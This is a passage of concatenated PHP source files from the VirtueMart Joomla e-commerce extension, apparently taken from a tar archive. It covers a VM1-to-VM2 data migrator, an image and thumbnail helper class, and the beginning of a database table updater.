	 * @author Max Milbers
	 * @author Valerie Isaksen
	 *
	 */
	private function parseWeightUom($weightUnit){

		$weightUnit = strtolower($weightUnit);
		$weightUnitMigrateValues = self::getWeightUnitMigrateValues();
		return $this->parseUom($weightUnit,$weightUnitMigrateValues );

	}

	/**
	 *
	 * parse the entered string to a standard unit
	 * @author Max Milbers
	 * @author Valerie Isaksen
	 *
	 */
	private function parseDimensionUom($dimensionUnit){

		$dimensionUnitMigrateValues = self::getDimensionUnitMigrateValues();
		$dimensionUnit = strtolower($dimensionUnit);
		return $this->parseUom($dimensionUnit,$dimensionUnitMigrateValues );

	}

	/**
	 *
	 * parse the entered string to a standard unit
	 * @author Max Milbers
	 * @author Valerie Isaksen
	 *
	 */
	private function parseUom($unit, $migrateValues){
		$new="";
		$unit = strtolower($unit);
		foreach ($migrateValues as $old => $new) {
			if (strpos($unit, $old) !== false) {
				return $new;
			}
		}
	}

	/**
	 *
	 * get new Length Standard Unit
	 * @author Valerie Isaksen
	 *
	 */
	function getDimensionUnitMigrateValues() {

		$dimensionUnitMigrate=array (
                  'mm' => 'MM'
		, 'cm' => 'CM'
		, 'm' => 'M'
		, 'yd' => 'YD'
		, 'foot' => 'FT'
		, 'ft' => 'FT'
		, 'inch' => 'IN'
		);
		return $dimensionUnitMigrate;
	}
	/**
	 *
	 * get new Weight Standard Unit
	 * @author Valerie Isaksen
	 *
	 */
	function getWeightUnitMigrateValues() {
		$weightUnitMigrate=array (
                  'kg' => 'KG'
		, 'kilos' => 'KG'
		, 'gr' => 'G'
		, 'pound' => 'LB'
		, 'livre' => 'LB'   //TODO ERROR HERE
		, 'once' => 'OZ'
		, 'ounce' => 'OZ'
		);
		return $weightUnitMigrate;
	}

	/**
	 * Helper function, was used to determine the difference of an loaded array (from vm19
	 * and a loaded object of vm2
	 */
	private function showVmDiff(){

		$productModel = VmModel::getModel('product');
		$product = $productModel->getProduct(0);

		$productK = array();
		$attribsImage = get_object_vars($product);

		foreach($attribsImage as $k => $v){
			$productK[] = $k;
		}

		$oldproductK = array();
		foreach($oldProducts[0] as $k => $v){
			$oldproductK[] = $k;
		}

		$notSame = array_diff($productK, $oldproductK);
		$names = '';
		foreach($notSame as $name){
			$names .= $name . ' ';
		}
		$this->_app->enqueueMessage('_productPorter  array_intersect ' . $names);

		$notSame = array_diff($oldproductK, $productK);
		$names = '';
		foreach($notSame as $name){
			$names .= $name . ' ';
		}
		$this->_app->enqueueMessage('_productPorter  ViceVERSA array_intersect ' . $names);
	}

	function loadCountListContinue($q,$startLimit,$maxItems,$msg){

		$continue = true;
		$this->_db->setQuery($q);
		if(!$this->_db->query()){
			vmError($msg.' db error '. $this->_db->getErrorMsg());
			vmError($msg.' db error '. $this->_db->getQuery());
			$entries = array();
			$continue = false;
		} else {
			$entries = $this->_db->loadAssocList();
			$count = count($entries);
			vmInfo($msg. ' take '.$count.' vm1 entries for migration ');
			$startLimit += $maxItems;
			if($count<$maxItems){
				$continue = false;
			}
		}

		return array($entries,$startLimit,$continue);
	}

	function portCurrency(){

		$this->setRedirect($this->redirectPath);
		$db = JFactory::getDBO();
		$q = 'SELECT `virtuemart_currency_id`,
		  `currency_name`,
		  `currency_code_2`,
		  `currency_code` AS currency_code_3,
		  `currency_numeric_code`,
		  `currency_exchange_rate`,
		  `currency_symbol`,
		`currency_display_style` AS `_display_style`
			FROM `#__virtuemart_currencia` ORDER BY virtuemart_currency_id';
		$db->setQuery($q);
		$result = $db->loadObjectList();

		foreach($result as $item){

			//			$item->virtuemart_currency_id = 0;
			$item->currency_exchange_rate = 0;
			$item->published = 1;
			$item->shared = 1;
			$item->virtuemart_vendor_id = 1;

			$style = explode('|', $item->_display_style);

			$item->currency_nbDecimal = $style[2];
			$item->currency_decimal_symbol = $style[3];
			$item->currency_thousands = $style[4];
			$item->currency_positive_style = $style[5];
			$item->currency_negative_style = $style[6];

			$db->insertObject('#__virtuemart_currencies', $item);
		}

		$this->setRedirect($this->redirectPath);
	}

	/**
	 * Method to restore all virtuemart tables in a database with a given prefix
	 *
	 * @access	public
	 * @param	string	Old table prefix
	 * @return	boolean	True on success.
	 */
	function restoreDatabase($prefix='bak_vm_') {
		// Initialise variables.
		$return = true;

		$this->_db = JFactory::getDBO();

		// Get the tables in the database.
		if ($tables = $this->_db->getTableList()) {
			foreach ($tables as $table) {
				// If the table uses the given prefix, back it up.
				if (strpos($table, $prefix) === 0) {
					// restore table name.
					$restoreTable = str_replace($prefix, '#__vm_', $table);

					// Drop the current active table.
					$this->_db->setQuery('DROP TABLE IF EXISTS '.$this->_db->nameQuote($restoreTable));
					$this->_db->query();

					// Check for errors.
					if ($this->_db->getErrorNum()) {
						vmError('Migrator restoreDatabase '.$this->_db->getErrorMsg());
						$return = false;
					}

					// Rename the current table to the backup table.
					$this->_db->setQuery('RENAME TABLE '.$this->_db->nameQuote($table).' TO '.$this->_db->nameQuote($restoreTable));
					$this->_db->query();

					// Check for errors.
					if ($this->_db->getErrorNum()) {
						vmError('Migrator restoreDatabase '.$this->_db->getErrorMsg());
						$return = false;
					}
				}
			}
		}

		return $return;
	}

	private function _attributesToJson($attributes){
		if ( !trim($attributes) ) return '';
		$attributesArray = explode(";", $attributes);
		foreach ($attributesArray as $valueKey) {
			// do the array
			$tmp = explode(":", $valueKey);
			if ( count($tmp) == 2 ) {
				if ($pos = strpos($tmp[1], '[')) $tmp[1] = substr($tmp[1], 0, $pos) ; // remove price
				$newAttributes['attributs'][$tmp[0]] = $tmp[1];
			}
		}
		return json_encode($newAttributes,JSON_FORCE_OBJECT);
	}

/**
	 * Roughly taken from the forum, a bit rewritten by Max Milbers to use the joomla database
	 * Thank you raycarter
	 *
	 * http://forum.virtuemart.net/index.php?topic=102083.0
	 * @author raycarter
	 */

	function portVm1Attributes(){

		if($this->_stop || (microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
			return;
		}

		$alreadyKnownIds = $this->getMigrationProgress('attributes');
		$i = 0;


		$prefix = '#_';
		$oldtable = '#__vm_product';
		$db = JFactory::getDbo();
		$db->setQuery("SELECT product_sku, attribute FROM " . $oldtable . " WHERE ( attribute IS NULL or attribute <> '') ");
		$rows = $db->loadObjectList();

		foreach ($rows as $product) {

			$db->setQuery("SELECT virtuemart_product_id FROM " . $prefix . "_virtuemart_products WHERE product_sku=" . $db->Quote($product->product_sku));
			$productid = (int)$db->loadResult();
			if(!in_array($productid,$alreadyKnownIds)){
				$ignore = JRequest::getVar('prodIdsToIgnore',array());
				if(!is_array($ignore)) $ignore = array($ignore);
				foreach($ignore as &$ig){
					$ig = (int)$ig;
				}
				$ign = false;
				if (count($ignore) && $productid) {
					foreach ($ignore as $ig) {
						if ($ig == $productid) {
							$ign = true;
							echo "ignoring product_id =" . $productid . "<br/>";
							break;
						}
					}
				}
				if (!$ign) {


					$attrStr = explode(";", $product->attribute);


					foreach ($attrStr as $attributes) {
						$result = "adding attributes for product_id :" . $productid . "<br/>";
						$attrData = array();
						$attrData = explode(",", $attributes);
						//its the parent, create it,it does not exist before
						$db->setQuery("SELECT virtuemart_custom_id FROM " . $prefix . "_virtuemart_customs WHERE custom_title =" . $db->Quote($attrData[0]));
						$parent = $db->loadResult();
						if ($parent) {
							$pid = $parent;
							$result.="found parent with id=" . $parent . "<br/>";
						} else {
							$query = 'INSERT INTO ' . $prefix . '_virtuemart_customs (custom_title,custom_tip,field_type,is_cart_attribute,published) VALUES
        (' . $db->Quote($attrData[0]) . ',"","V","1","1")';
							$db->setQuery($query);
							if (!$db->query()) die($query);


							$pid = $db->insertid();
							$result.= "<p>inserted parent " . $attrData[0] . "</p>";
						}
						foreach ($attrData as $key => $attr) {
							if ($key != '0') {
								$priceset = explode("[", $attr);
								$price = 0;
								$warning='';
								if (count($priceset) > 1) {
									$price = substr($priceset[1], 0, -1); // remove ]
									if ('=' == substr ($price, 0,1)) {
										// Don't port, set the price to 0
										$price = 0;
										$warning='WARNING: Price for this attribute has been set to 0';
									} elseif  ("+" == substr($price, 0,1)) {
										$price =  substr($price, 1); // remove the +
									}
								}
								$cleaned = $priceset[0];
								//get ordering of the last element and add 1 to it
								$db->setQuery('SELECT MAX(ordering) from ' . $prefix . '_virtuemart_product_customfields');
								$ordering = $db->loadResult() + 1;
								$query = 'INSERT INTO ' . $prefix . '_virtuemart_product_customfields (virtuemart_product_id,virtuemart_custom_id,custom_value,custom_price,ordering) VALUES
                (' . $productid . ',' . $pid . ',' . $db->Quote($cleaned) . ',' . $price . ',' . $ordering . ')';
								$db->setQuery($query);
								if (!$db->query()) {
									$result.="query failed for attribute :" . $cleaned . ", query :" . $query . "</br>";
									vmWarn('portVm1Attributes '.$result);
								};
								$result.="inserted attribute for parent :" . $attrData[0] . ", atttribute name :" . $cleaned . ' '.$warning. "<br/>";

							}
						}
					}
				}
				$alreadyKnownIds[] = $productid;
				$i++;
				if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
					break;
				}

			} else {

			}
		}

		$this->storeMigrationProgress('attributes',$alreadyKnownIds);
		return true;
	}

	/**
	 * Roughly taken from the forum, a bit rewritten by Max Milbers to use the joomla database
	 * Thank you oneforallsoft
	 *
	 * http://forum.virtuemart.net/index.php?topic=116403.0
	 * http://www.oneforallsoft.com/related-products-missing-after-virtuemart-upgrade/
	 * @author oneforallsoft
	 */
	function portVm1RelatedProducts(){

		if($this->_stop || (microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
			return;
		}
		vmSetStartTime('relatedproducts');

	    $maxItems = $this->_getMaxItems('relatedproducts');
		$startLimit = $this->_getStartLimit('relatedproducts_start');;
		$i=0;
		$continue = true;

		$alreadyKnownIds = $this->getMigrationProgress('relatedproducts');

		$out=array();
		$out2=array();

		while($continue){
			$q ='select * from #__vm_product_relations LIMIT '.$startLimit.','.$maxItems;

			$doneStart = $startLimit;
			$res = self::loadCountListContinue($q,$startLimit,$maxItems,'port Related products');
			$oldVm1relateds = $res[0];

			$startLimit = $res[1];
			$continue = $res[2];

			foreach($oldVm1relateds as $v){
				$pid=$v['product_id'];
				$ids=explode('|',$v['related_products']);
				$out=array_merge($ids,$out);
				$out[]=$pid;
				$out2[$pid]=$ids;
				$i++;
			}
			// GET SkuS for Products
			$skus=array();
			$q="select product_id,product_sku from #__vm_product where product_id in (".implode(',',$out).") ";
			$this->_db->setQuery($q );
			$product_skus = $this->_db->loadAssocList();
			if (empty($product_skus)) {
				vmError("Port Related products: The following SKUs were not found ".implode(',',$out) );
				break;
			}
			foreach ($product_skus as $v) {
				$skus[$v['product_id']]=$v['product_sku'];
			}

			foreach($out2 as $k=>$v){
				$tmp=array();
				foreach($v as $vv){
					if(isset($skus[$vv]))
						$tmp[]=$skus[$vv];
				}
				$out[$skus[$k]]=$tmp;
			}

			// GET virtuemart_product_id for those SKUs
			$q="select virtuemart_product_id,product_sku from #__virtuemart_products where product_sku in ('".implode("','",$skus)."') ";
			$this->_db->setQuery($q);
			$out3=array();
			$products = $this->_db->loadAssocList();
			if (empty($products)) {
				vmError("Port Related products: Some of those SKUs were not found ".implode(',',$skus) );
				break;
			}
			foreach ($products as $v) {
				$out3[$v['product_sku']]=$v["virtuemart_product_id"];
			}
			$now=date('Y-m-d H:i:s',time());
			$sql='';
			foreach($out as $k => $v){
				foreach($v as $vv){
					if(isset($out3[$k]) and isset($out3[$vv]))
						$sql.=",({$out3[$k]},1,{$out3[$vv]},'".$now."')";
				}
			}
			if (empty($sql)) {
				vmError("Port Related products: Error while inserting new related products " );
				break;
			}
			$q="INSERT INTO #__virtuemart_product_customfields (virtuemart_product_id,virtuemart_custom_id,custom_value,modified_on) values ".substr($sql,1);
			$this->_db->setQuery($q) ;
			$this->_db->query();

			if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
				vmdebug('Related products import breaked, you may rise the execution time, this is not an error, just a hint');
				$continue = false;
				break;
			}
		}
		if($out and count($out)==0){
			vmdebug ('no related products found');
			return;
		} else {
			vmdebug ('FOUND Related products ',count($out) );
		}

		$limitStartToStore = ', relatedproducts = "'.($doneStart+$i).'" ';
		$this->storeMigrationProgress('relatedproducts',$alreadyKnownIds,$limitStartToStore);
		vmInfo('Migration: '.$i.' Related products processed ');
	}



}

�������������������������������������������������image.php�������������������������������������������������������������������������������������������0000666�����������������00000015513�15137212725�0006355 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Image helper class
 *
 * This class was derived from the show_image_in_imgtag.php and imageTools.class.php files in VM.  It provides some
 * image functions that are used throughout the VirtueMart shop.
 *
 * @package	VirtueMart
 * @subpackage Helpers
 * @author Max Milbers
 * @copyright Copyright (c) 2004-2008 Soeren Eberhardt-Biermann, 2009 VirtueMart Team. All rights reserved.
 */

defined('_JEXEC') or die();

if (!class_exists('VmMediaHandler')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'mediahandler.php');

class VmImage extends VmMediaHandler {


	function processAction($data){

		if(empty($data['media_action'])) return $data;
		$data = parent::processAction($data);

		if( $data['media_action'] == 'upload_create_thumb' ){
			$oldFileUrl = $this->file_url;
			$file_name = $this->uploadFile($this->file_url_folder);
			if($file_name){
				if($file_name!=$oldFileUrl && !empty($this->filename)){
					$this->deleteFile($oldFileUrl);
				}
				$this->file_url = $this->file_url_folder.$file_name;
				$this->filename = $file_name;

				$oldFileUrlThumb = $this->file_url_thumb;
				$this->file_url_thumb = $this->createThumb();
				if($this->file_url_thumb!=$oldFileUrlThumb){
					$this->deleteFile($oldFileUrlThumb);
				}
			}
		} //creating the thumbnail image
		else if( $data['media_action'] == 'create_thumb' ){
			$this->file_url_thumb = $this->createThumb();
		}

		if(empty($this->file_title) && !empty($file_name)) $this->file_title = $file_name;

		return $data;
	}

	function displayMediaFull($imageArgs='',$lightbox=true,$effect ="class='modal'",$description = true ){

		if(!$this->file_is_forSale){
			// Remote image URL
			if( substr( $this->file_url, 0, 4) == "http" ) {
				$file_url = $this->file_url;
				$file_alt = $this->file_title;
			} else {
				$rel_path = str_replace('/',DS,$this->file_url_folder);
				$fullSizeFilenamePath = JPATH_ROOT.DS.$rel_path.$this->file_name.'.'.$this->file_extension;
				if (!file_exists($fullSizeFilenamePath)) {
					$file_url = $this->theme_url.'assets/images/vmgeneral/'.VmConfig::get('no_image_found');
					$file_alt = JText::_('COM_VIRTUEMART_NO_IMAGE_FOUND').' '.$this->file_description;
				} else {
					$file_url = $this->file_url;
					$file_alt = $this->file_meta;
				}
			}
			$postText = false;
			if($description) $postText = $this->file_description;
			return $this->displayIt($file_url, $file_alt, $imageArgs,$lightbox,$effect,$postText);
		} else {
			//Media which should be sold, show them only as thumb (works as preview)
			return $this->displayMediaThumb('id="vm_display_image"',false);
		}


	}


	public function createThumbFileUrl(){

		$file_name = $this->createThumbName();
		if(empty($this->file_name_thumb)) {
			vmdebug('createThumbFileUrl empty file_name_thumb ',$this);
			return false;
		}
		$file_url_thumb = $this->file_url_folder.'resized/'.$this->file_name_thumb.'.'.$this->file_extension;
		return $file_url_thumb;
	}
	/**
	 * a small function that ensures that we always build the thumbnail name with the same method
	 */
	public function createThumbName($width=0,$height=0){

		if(empty($this->file_name)) return false;
		if(empty($width)) $width = VmConfig::get('img_width', 90);
		if(empty($height)) $height = VmConfig::get('img_height', 90);

		$this->file_name_thumb = $this->file_name.'_'.$width.'x'.$height;
		return $this->file_name_thumb;
	}

	/**
	 * This function actually creates the thumb
	 * and when it is instanciated with one of the getImage function automatically updates the db
	 *
	 * @author Max Milbers
	 * @param boolean $save Execute update function
	 * @return name of the thumbnail
	 */
	public function createThumb($width=0,$height=0) {

		if(empty($this->file_url_folder)){
			vmError('Couldnt create thumb, no directory given. Activate vmdebug to understand which database entry is creating this error');
			vmdebug('createThumb, no directory given',$this);
			return FALSE;
		}

		if(empty($this->file_name)){
			vmError('Couldnt create thumb, no name given. Activate vmdebug to understand which database entry is creating this error');
			vmdebug('createThumb, no name given',$this);
			return false;
		}
		$synchronise = JRequest::getString('synchronise',false);

		if(!VmConfig::get('img_resize_enable') || $synchronise) return;
		//now lets create the thumbnail, saving is done in this function
		if(empty($width)) $width = VmConfig::get('img_width', 90);
		if(empty($height)) $height = VmConfig::get('img_height', 90);

		// Don't allow sizes beyond 2000 pixels //I dont think that this is good, should be config
//		$width = min($width, 2000);
//		$height = min($height, 2000);

		$maxsize = false;
		$bgred = 255;
		$bggreen = 255;
		$bgblue = 255;

		$root = '';
		$this->file_name_thumb = $this->createThumbName($width,$height);

		if($this->file_is_forSale==0){
			$rel_path = str_replace('/',DS,$this->file_url_folder);
			$fullSizeFilenamePath = JPATH_ROOT.DS.$rel_path.$this->file_name.'.'.$this->file_extension;
		} else {
			$fullSizeFilenamePath = $this->file_url_folder.$this->file_name.'.'.$this->file_extension;
		}

		$file_path_thumb = str_replace('/',DS,$this->file_url_folder_thumb);
		$resizedFilenamePath = JPATH_ROOT.DS.$file_path_thumb.$this->file_name_thumb.'.'.$this->file_extension;

		$this->checkPathCreateFolders($file_path_thumb);

		if (file_exists($fullSizeFilenamePath)) {
			if (!class_exists('Img2Thumb')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'img2thumb.php');
			$createdImage = new Img2Thumb($fullSizeFilenamePath, (int)$width, (int)$height, $resizedFilenamePath, $maxsize, $bgred, $bggreen, $bgblue);
			if($createdImage){
				return $this->file_url_folder_thumb.$this->file_name_thumb.'.'.$this->file_extension;
			} else {
				return 0;
			}
		} else {
			vmError('Couldnt create thumb, file not found '.$fullSizeFilenamePath);
			return 0;
		}

	}

	public function checkPathCreateFolders($path){

		$elements = explode(DS,$path);
		$examine = JPATH_ROOT;
		foreach($elements as $piece){
			$examine = $examine.DS.$piece;
			if(!JFolder::exists($examine)){
				JFolder::create($examine);
				vmInfo('create folder for resized image '.$examine);
			}
		}
	}

	/**
	 * Display an image icon for the given image and create a link to the given link.
	 *
	 * @param string $link Link to use in the href tag
	 * @param string $image Name of the image file to display
	 * @param string $text Text to use for the image alt text and to display under the image.
	 */
	static public function displayImageButton($link, $imageclass, $text, $mainclass = 'vmicon48', $extra="") {
		$button = '<a title="' . $text . '" href="' . $link . '" '.$extra.'>';
		$button .= '<span class="'.$mainclass.' '.$imageclass.'"></span>';
		$button .= '<br />' . $text.'</a>';
		echo $button;

	}

}

�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������tableupdater.php������������������������������������������������������������������������������������0000666�����������������00000056672�15137212725�0007762 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
defined('_JEXEC') or die('Restricted access');
/**
 * @version $Id: tableupdater.php 4657 2011-11-10 12:06:03Z Milbo $
 * @package VirtueMart
 * @subpackage core
 * @author Max Milbers
 * @copyright Copyright (C) 2011 by the virtuemart team - All rights reserved.
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL 2, see COPYRIGHT.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 *
 * http://virtuemart.net
 */


/**
 * Class to update the tables according to the install.sql db file
 *
 * @author Milbo
 *
 */
if(!class_exists('JModel')) require(JPATH_ROOT.DS.'libraries'.DS.'joomla'.DS.'application'.DS.'component'.DS.'model.php');

class GenericTableUpdater extends JModel{

	public function __construct(){

// 		JTable::addIncludePath(JPATH_VM_ADMINISTRATOR . DS . 'tables');

		$this->_app = JFactory::getApplication();
		$this->_db = JFactory::getDBO();
		// 		$this->_oldToNew = new stdClass();
		$this->starttime = microtime(true);

		$max_execution_time = VmConfig::getExecutionTime();
		$jrmax_execution_time= JRequest::getInt('max_execution_time',300);

		if(!empty($jrmax_execution_time)){
			// 			vmdebug('$jrmax_execution_time',$jrmax_execution_time);
			if($max_execution_time!==$jrmax_execution_time) @ini_set( 'max_execution_time', $jrmax_execution_time );
		}

		$this->maxScriptTime = VmConfig::getExecutionTime() * 0.90-1;	//Lets use 10% of the execution time as reserve to store the progress

		VmConfig::ensureMemoryLimit(128);

		$this->maxMemoryLimit = $this->return_bytes(ini_get('memory_limit')) * 0.85;

		$config = JFactory::getConfig();
		$this->_prefix = $config->getValue('config.dbprefix');

		$this->reCreaPri = VmConfig::get('reCreaPri',0);
		$this->reCreaKey = VmConfig::get('reCreaKey',1);
	}

	public function reOrderChilds(){

		vmdebug('I am in reOrderChilds');
	}

	var $tables = array( 	'products'=>'virtuemart_product_id',
									'vendors'=>'virtuemart_vendor_id',
									'categories'=>'virtuemart_category_id',
									'manufacturers'=>'virtuemart_manufacturer_id',
									'manufacturercategories'=>'virtuemart_manufacturercategories_id',

									'paymentmethods'=>'virtuemart_paymentmethod_id',
									'shipmentmethods'=>'virtuemart_shipmentmethod_id');

	/**
	 *
	 *
	 * @author Max Milbers
	 * @param unknown_type $config
	 */
	public function createLanguageTables($langs=0){

		if(empty($langs)){
			$langs = VmConfig::get('active_languages');
			if(empty($langs)){
				$params = JComponentHelper::getParams('com_languages');
				$langs = (array)$params->get('site', 'en-GB');
			}
		}

		$langTables = array();
		//Todo add the mb_ stuff here
		// 		vmTime('my langs <pre>'.print_r($langs,1).'</pre>');
		$i = 0;
		foreach($this->tables as $table=>$tblKey){

// 			if($i>1) continue;
			$className = 'Table'.ucfirst ($table);
			if(!class_exists($className)) require(JPATH_VM_ADMINISTRATOR.DS.'tables'.DS.$table.'.php');
			$tableName = '#__virtuemart_'.$table;

			$langTable = $this->getTable($table);
			$translatableFields = $langTable->getTranslatableFields();
			if(empty($translatableFields)) continue;

			$fields = array();
			$lines = array();
			$linedefault = "NOT NULL DEFAULT ''";
			//Text has no default
			$linedefaulttext = "NOT NULL";

			$fields[$tblKey] = 'int(1) UNSIGNED NOT NULL';
// 			vmdebug('createLanguageTables ',$translatableFields);
			//set exceptions from normal shema here !
			//Be aware that you can use this config settings, when declaring them in the virtuemart.cfg
			if(VmConfig::get('dblayoutstrict',true)){
				if($table=='products'){
					$fields['product_s_desc'] = 'varchar('.VmConfig::get('dbpsdescsize',2000).') '.$linedefault;
					$fields['product_desc'] = 'varchar('.VmConfig::get('dbpdescsize',18400).') '.$linedefault;

					$key = array_search('product_desc', $translatableFields);
					unset($translatableFields[$key]);

					$key = array_search('product_s_desc', $translatableFields);
					unset($translatableFields[$key]);

				} else if($table=='vendors'){
					//This makes too much trouble with the vendor stuff, so we use simply text for it
// 					$fields['vendor_store_desc'] = 'varchar('.VmConfig::get('dbvdescsize',1800).') '.$linedefault;
// 					$fields['vendor_terms_of_service'] = 'varchar('.VmConfig::get('dbtossize',18100).') '.$linedefault;
// 					$fields['vendor_legal_info'] = 'varchar('.VmConfig::get('dblegalsize',1100).') '.$linedefault;

					$fields['vendor_store_desc'] = 'text '.$linedefaulttext;
					$fields['vendor_terms_of_service'] = 'text '.$linedefaulttext;
					$fields['vendor_legal_info'] = 'text '.$linedefaulttext;

					$fields['vendor_letter_css'] = 'text '.$linedefaulttext;
					$fields['vendor_letter_header_html'] = "varchar(8000) NOT NULL DEFAULT '<h1>{vm:vendorname}</h1><p>{vm:vendoraddress}</p>'";
					$fields['vendor_letter_footer_html'] = "varchar(8000) NOT NULL DEFAULT '<p>{vm:vendorlegalinfo}<br />Page {vm:pagenum}/{vm:pagecount}</p>'";


					$key = array_search('vendor_store_desc', $translatableFields);
					unset($translatableFields[$key]);

					$key = array_search('vendor_terms_of_service', $translatableFields);
					unset($translatableFields[$key]);

					$key = array_search('vendor_legal_info', $translatableFields);
					unset($translatableFields[$key]);
					
					$key = array_search('vendor_letter_css', $translatableFields);
					unset($translatableFields[$key]);

					$key = array_search('vendor_letter_header_html', $translatableFields);
					unset($translatableFields[$key]);

					$key = array_search('vendor_letter_footer_html', $translatableFields);
					unset($translatableFields[$key]);

				}
			} else {
				$fields['vendor_terms_of_service'] = 'text '.$linedefaulttext;
				$key = array_search('vendor_terms_of_service', $translatableFields);
				unset($translatableFields[$key]);

				$fields['vendor_legal_info'] = 'text '.$linedefaulttext;
				$key = array_search('vendor_legal_info', $translatableFields);
				unset($translatableFields[$key]);
			}

// 		vmdebug('createLanguageTables ',$translatableFields);
			foreach($translatableFields as $k => $name){
				if(strpos($name,'name') !==false ){
					$fields[$name] = 'char('.VmConfig::get('dbnamesize',180).') '.$linedefault;
				} else if(strpos($name,'metadesc')!==false ){
					$fields[$name] = 'varchar('.VmConfig::get('dbmetasize',400).') '.$linedefault;
				} else if(strpos($name,'metatitle')!==false ){
					$fields[$name] = 'char('.VmConfig::get('dbmetasize',100).') '.$linedefault;
				} else if(strpos($name,'metakey')!==false ){
					$fields[$name] = 'varchar('.VmConfig::get('dbmetasize',400).') '.$linedefault;
				} else if(strpos($name,'metaauthor')!==false ){
					$fields[$name] = 'char(64) '.$linedefault;
				} else if(strpos($name,'slug')!==false ){
					$fields[$name] = 'char('.VmConfig::get('dbslugsize',192).') '.$linedefault;
					$slug = true;
				}else if(strpos($name,'phone')!==false) {
					$fields[$name] = 'char(26) '.$linedefault;
				}else if(strpos($name,'desc')!==false) {
					if(VmConfig::get('dblayoutstrict',true)){
						$fields[$name] = 'varchar('.VmConfig::get('dbdescsize',19000).') '.$linedefault;
					} else {
						$fields[$name] = 'text '.$linedefaulttext;
					}

				} else {
					$fields[$name] = 'char(255) '.$linedefault;
				}

			}
			$lines[0] =	$fields;

			$lines[1][$tblKey] = 'PRIMARY KEY (`'.$tblKey.'`)';
			if($slug){
				$lines[1]['slug'] = 'UNIQUE KEY `slug` (`slug`)';
			}

			$table[3] = '';
			foreach($langs as $lang){
				// 				$lang = strtr($lang,'-','_');
				$lang = strtolower(strtr($lang,'-','_'));
				$tbl_lang = $tableName.'_'.$lang;
				$langTables[$tbl_lang] = $lines;
			}

			$i++;

		}

		$ret = $this->updateMyVmTables($langTables);
		// 		vmTime('done creation of lang tables');
		return $ret;

	}

	public function updateMyVmTables($file = 0, $like ='_virtuemart_'){

		if(empty($file)){
			$file = JPATH_VM_ADMINISTRATOR.DS.'install'.DS.'install.sql';
		}

		if(is_array($file)){
			$tables = $file;
		} else {

			$data = fopen($file, 'r');

			$tables = array();
			$tableDefStarted = false;
			while ($line = fgets ($data)) {
				$line = trim($line);
				if (empty($line)) continue; // Empty line

				if (strpos($line, '#') === 0) continue; // Commentline
				if (strpos($line, '--') === 0) continue; // Commentline

				if(strpos($line,'CREATE TABLE IF NOT EXISTS')!==false){
					$tableDefStarted = true;
					$fieldLines = array();
					$tableKeys = array();
					$start = strpos($line,'`');

					$tablename = trim(substr($line,$start+1,-3));
					// 				vmdebug('my $tablename ',$start,$end,$line);
				} else if($tableDefStarted && strpos($line,'KEY')!==false){

					$start = strpos($line,"`");
					$temp = substr($line,$start+1);
					$end = strpos($temp,"`");
					$keyName = substr($temp,0,$end);

					if(strrpos($line,',')==strlen($line)-1){
						$line = substr($line,0,-1);
					}
					$tableKeys[$keyName] = $line;

				} else if(strpos($line,'ENGINE')!==false){
					$tableDefStarted = false;

					$start = strpos($line,"COMMENT='");
					$temp = substr($line,$start+9);
					$end = strpos($temp,"'");
					$comment = substr($temp,0,$end);

					$tables[$tablename] = array($fieldLines, $tableKeys,$comment);
				} else if($tableDefStarted){

					$start = strpos($line,"`");
					$temp = substr($line,$start+1);
					$end = strpos($temp,"`");
					$keyName = substr($temp,0,$end);

					$line = trim(substr($line,$end+2));
					if(strrpos($line,',')==strlen($line)-1){
						$line = substr($line,0,-1);
					}

					$fieldLines[$keyName] = $line;
				}
			}
		}

// 		vmdebug('updateMyVmTables $tables',$tables); return false;
		// 	vmdebug('Parsed tables',$tables); //return;
		$this->_db->setQuery('SHOW TABLES LIKE "%'.$like.'%"');
		if (!$existingtables = $this->_db->loadResultArray()) {
			vmError('updateMyVmTables '.$this->_db->getErrorMsg());
			return false;
		}

		$i = 0;
		$demandedTables = array();
		//TODO ignore admin menu table
		foreach ($tables as $tablename => $table){

// 			if($i>2) continue;

			$tablename = str_replace('#__',$this->_prefix,$tablename);
			$demandedTables[] = $tablename;
			if(in_array($tablename,$existingtables)){
// 			if($tablename==$this->_prefix.'virtuemart_userinfos'){
				if($this->reCreaPri!=0){
					$this->alterColumns($tablename,$table[0],true);
					$this->alterKey($tablename,$table[1],true);
					$this->alterColumns($tablename,$table[0],false);
				} else {
					$this->alterColumns($tablename,$table[0],false);
					if($this->reCreaKey!=0){
						$this->alterKey($tablename,$table[1],false);
					}
				}

				// 				unset($todelete[$tablename]);
			} else {

				$this->createTable($tablename,$table);
			}
			// 			$this->_db->setQuery('OPTIMIZE '.$tablename);
			// 			$this->_db->query();
			$i++;

		}

		//We need first a method here to register valid plugin tables
/* 		$tablesWithLang = array_keys($this->tables); //('categories','manufacturercategories','manufacturers','paymentmethods','shipmentmethods','products','vendors');

// 		$alangs = VmConfig::get('active_languages');
// 		if(empty($alangs)) $alangs = array(VmConfig::setdbLanguageTag());
// 		foreach($alangs as $lang){
// 			foreach($tablesWithLang as $tablewithlang){
// 				$demandedTables[] = $this->_prefix.'virtuemart_'.$tablewithlang.'_'.$lang;
// 			}
// 		}
// 		$demandedTables[] = $this->_prefix.'virtuemart_configs';


// 		$todelete = array();
// 		foreach ($existingtables as $tablename){
// 			if(!in_array($tablename,$demandedTables) and strpos($tablename,'_plg_')===false){
// 				$todelete[] = $tablename;
// 			}
// 		}
// 		$this->dropTables($todelete);
*/
	}


	public function createTable($tablename,$table){

		$q = 'CREATE TABLE IF NOT EXISTS `'.$tablename.'` (
				';
		foreach($table[0] as $fieldname => $alterCommand){
			$q .= '`'.$fieldname.'` '.$alterCommand.',
			';
		}

		foreach($table[1] as $name => $value){
				$q .= $value.',
						';
		}

